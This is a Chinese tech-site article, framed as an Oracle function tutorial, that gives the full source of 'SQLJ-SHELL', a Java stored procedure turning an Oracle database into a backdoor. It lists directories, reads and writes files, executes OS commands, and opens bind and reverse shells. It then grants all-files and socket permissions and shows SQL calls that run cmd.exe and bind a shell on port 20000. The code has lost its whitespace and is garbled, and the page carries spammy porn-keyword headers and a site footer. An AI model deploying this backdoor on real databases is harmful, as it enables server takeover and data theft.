成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

事例解析Oracle函數

數據庫 Oracle
這里介紹用Oracle函數調用JAVA的靜態方法,首先在Oracle數據庫建立JAVA對象, 這個版本的SQLJ-SHELL 只能支持正向連接,反向連接的時候有BUG 不建議使用。

在向大家詳細介紹Oracle函數之前,首先讓大家了解下Oracle數據庫建立JAVA對象,然后全面介紹Oracle函數,希望對大家有用。首先在Oracle數據庫建立JAVA對象, 這個版本的SQLJ-SHELL 只能支持正向連接,反向連接的時候有BUG 不建議使用,不知道是ORA支持JAVA的問題還是個人能力有限:

  1. createorreplaceandcompilejavasourcenamedistoas  
  2. importjava.io.*;  
  3. importjava.net.*;  
  4. publicclassISTO{  
  5. //author:kj021320  
  6. //team:I.S.T.O  
  7. publicstaticStringlistFolder(Stringpath){  
  8. Filef=null;  
  9. Stringstr="";  
  10. f=newFile(path);  
  11. String[]ffiles=f.list();  
  12. if(files!=null)  
  13. for(inti=0;i<files.length;i++){  
  14. str+=files[i]+"\r\n";  
  15. }  
  16. returnstr;  
  17. }  
  18. publicstaticStringsaveFile(Stringfilepath,Stringvalue){  
  19. FileOutputStreamfos=null;  
  20. try{  
  21. fos=newFileOutputStream(filepath);  
  22. fos.write(value.getBytes());  
  23. return"OK";  
  24. }catch(Exceptione){  
  25. returne.getMessage();  
  26. }finally{  
  27. if(fos!=null){  
  28. try{fos.close();}catch(Exceptione){}  
  29. }  
  30. }  
  31. }  
  32. publicstaticStringreadFile(Stringpathfile,Stringcode){  
  33. BufferedReaderbr=null;  
  34. Stringvalue="";  
  35. try{  
  36. br=newBufferedReader(newInputStreamReader(newFileInputStream(pathfile),code));  
  37. Strings=null;  
  38. while((s=br.readLine())!=null){  
  39. value+=s;  
  40. }  
  41. returnvalue;  
  42. }catch(Exceptione){  
  43. returne.getMessage();  
  44. }finally{  
  45. if(br!=null){try{br.close();}catch(IOExceptione){}}  
  46. }  
  47. }  
  48. publicstaticStringexecFile(Stringfilepath,Stringcode){  
  49. inti=0;  
  50. RuntimeRuntimert=Runtime.getRuntime();  
  51. Stringoutput="";  
  52. InputStreamReaderisr=null;  
  53. char[]bufferC=newchar[1024];  
  54. try{  
  55. Processps=rt.exec(filepath);  
  56. isr=newInputStreamReader(ps.getInputStream(),code);  
  57. while((i=isr.read(bufferC,0,bufferC.length))!=-1){  
  58. output+=newString(bufferC,0,i);  
  59. }  
  60. returnoutput;  
  61. }catch(Exceptione){  
  62. returne.getMessage();  
  63. }finally{  
  64. if(isr!=null)try{isr.close();}catch(IOExceptione){}  
  65. }  
  66. }  
  67. publicstaticStringbindShell(intport){  
  68. ServerSocketss=null;  
  69. Sockets=null;  
  70. try{  
  71. ss=newServerSocket(port);  
  72. s=ss.accept();  
  73. newoptShell(ss,s).start();  
  74.  
  75. return"OK";  
  76. }catch(Exceptione){  
  77. returne.getMessage();  
  78. }  
  79. }  
  80. publicstaticStringreverseShell(Stringhost,intport){  
  81. Sockets=null;  
  82. try{  
  83. s=newSocket(host,port);  
  84. newoptShell(null,s).start();  
  85. return"OK";  
  86. }catch(Exceptione){  
  87. returne.getMessage();  
  88. }  
  89. }  
  90. publicstaticclassoptShellextendsThread{  
  91. OutputStreamos=null;  
  92. InputStreamis=null;  
  93. ServerSocketss;  
  94. Sockets;  
  95. publicoptShell(ServerSocketss,Sockets){  
  96. this.ss=ss;  
  97. this.s=s;  
  98. try{  
  99. this.is=s.getInputStream();  
  100. this.os=s.getOutputStream();  
  101. }catch(Exceptione){  
  102. if(os!=null)try{os.close();}catch(Exceptionex){}  
  103. if(is!=null)try{is.close();}catch(Exceptionex){}  
  104. if(s!=null)try{s.close();}catch(Exceptionex){}  
  105. if(ss!=null)try{ss.close();}catch(Exceptionex){}  
  106. }  
  107. }  
  108. publicvoidrun(){  
  109. BufferedReaderbr=newBufferedReader(newInputStreamReader(is));  
  110. Stringline="";  
  111. Stringcmdhelp="Command:\r\nlist\r\nsave\r\nread\r\nexec\r\nexit\r\n";  
  112. try{  
  113. //os.write(cmdhelp.getBytes());  
  114. line=br.readLine();  
  115. while(!"exit".equals(line)){  
  116. if(line.length()>3){  
  117. StringBuffersb=newStringBuffer(line.trim());  
  118. Stringcmd=sb.substring(0,4);  
  119. if(cmd.equals("list")){  
  120. os.write("inputyoupath:\r\n".getBytes());  
  121. line=br.readLine();  
  122. os.write(listFolder(line).getBytes());  
  123. }elseif("save".equals(cmd)){  
  124. os.write("inputyoufilepath:\r\n".getBytes());  
  125. line=br.readLine();  
  126. os.write("inputyouvalue:\r\n".getBytes());  
  127. os.write(saveFile(line,br.readLine()).getBytes());  
  128. }elseif("read".equals(cmd)){  
  129. os.write("inputyoufilepath:\r\n".getBytes());  
  130. line=br.readLine();  
  131. os.write("inputyoucodeexamle:GBK\r\n".getBytes());  
  132. os.write(readFile(line,br.readLine()).getBytes());  
  133. }elseif("exec".equals(cmd)){  
  134. os.write("inputyourunfilepath:\r\n".getBytes());  
  135. line=br.readLine();  
  136. os.write("inputyoucodeexamle:GBK\r\n".getBytes());  
  137. os.write(execFile(line,br.readLine()).getBytes());  
  138. }else{  
  139. os.write(cmdhelp.getBytes());  
  140. }  
  141. }else{  
  142. os.write(cmdhelp.getBytes());  
  143. }  
  144. line=br.readLine();  
  145. }  
  146. }catch(Exceptione){  
  147. e.printStackTrace();  
  148. }finally{  
  149. if(os!=null)try{os.close();}catch(Exceptione){}  
  150. if(is!=null)try{is.close();}catch(Exceptione){}  
  151. if(s!=null)try{s.close();}catch(Exceptione){}  
  152. if(ss!=null)try{ss.close();}catch(Exceptione){}  
  153. }  
  154. }  
  155. }  

以上建立完成之后 需要用Oracle函數調用JAVA的靜態方法:
◆列舉目錄函數
◆保存文件函數
◆讀文件函數
◆運行文件函數
◆端口綁定 你可以telnet進去

以上Oracle函數轉換操作之后 需要給JAVA授予訪問權限

  1. begin  
  2. Dbms_Java.Grant_Permission('用戶名字','java.io.FilePermission','<<ALL FILES>>','read,write,execute,delete');  
  3. Dbms_Java.Grant_Permission('用戶名字','java.lang.RuntimePermission','*','writeFileDescriptor');  
  4. Dbms_Java.grant_permission('用戶名字','java.net.SocketPermission','*:*','accept,connect,listen,resolve');  
  5. end; 

然后就可以進行文件操作以及 運行程序  開啟網絡!

以下為測試代碼:

  1. SELECT ISTO_LISTFOLDER('/usr') FROM DUAL  
  2. SELECT ISTO_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL;  
  3. SELECT ISTO_READFILE('/tmp/1.txt','GBK') FROM DUAL;  
  4. SELECT ISTO_SAVEFILE('/tmp/1.txt','一句話shell') FROM DUAL;  
  5. SELECT ISTO_BINDSHELL(20000) FROM DUAL 

【編輯推薦】

  1. 詳談Oracle對象特權說明
  2. Oracle系統特權部分介紹
  3. 最常見的Oracle密碼驗證
  4. 簡單探討Oracle介質恢復
  5. 完全干掉Oracle死鎖進程
責任編輯:佚名 來源: 博客園
相關推薦

2010-03-31 10:40:11

Oracle事例

2016-12-19 14:59:00

redis.conf配置事例數據

2017-03-09 13:11:48

Oracle分析函數

2011-04-15 13:02:56

Oracle函數

2009-11-09 14:55:51

Visual Stud

2010-10-25 15:12:42

Oracle日期函數

2010-10-25 17:28:05

Oracle bita

2011-04-12 15:00:48

Oracle碎片

2010-04-02 13:46:30

Oracle數據導出

2009-11-05 14:03:28

Visual Stud

2009-11-10 15:12:21

Visual Stud

2009-10-27 11:32:42

VB.NET Disp

2010-04-14 13:22:10

Oracle系統函數

2010-10-25 17:08:34

oracle聚合函數

2010-10-25 17:39:24

Oracle單行日期函

2011-04-12 13:27:09

Oracle日期函數

2010-10-25 14:28:53

oracle trun

2010-10-25 16:52:48

oracle管道函數

2010-10-25 14:47:49

Oracle系統變量函

2010-10-28 15:38:24

Oracle to_d
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 美女视频网站久久 | 中文字幕综合 | 九九热久久免费视频 | 欧美中文在线 | 欧美淫片 | 欧美久久一级特黄毛片 | 91视频日本 | 国产成人精品网站 | 精品日韩一区二区 | 中文字幕1区 | 欧美小视频在线观看 | h在线观看| 国产美女在线免费观看 | 天天欧美| 国产精品二区三区 | 怡红院成人在线视频 | 亚洲视频国产视频 | 国产成人99 | 精品一二区 | 亚洲欧美成人 | 中文字幕亚洲视频 | 日韩在线视频免费观看 | 欧美视频1区 | 国产精品日产欧美久久久久 | 国产不卡视频在线 | 亚洲日本一区二区三区四区 | 久久高清精品 | 日日草夜夜草 | 日本在线一区二区 | 91精品国产一区二区三区香蕉 | 成年人在线观看视频 | 男人天堂网址 | 亚洲精彩视频在线观看 | 亚洲www啪成人一区二区 | 九色网址 | 美女在线视频一区二区三区 | 中文字幕日韩欧美 | 亚洲精品18 | 免费看a | 日日夜夜天天 | 国产精品视频一二三 |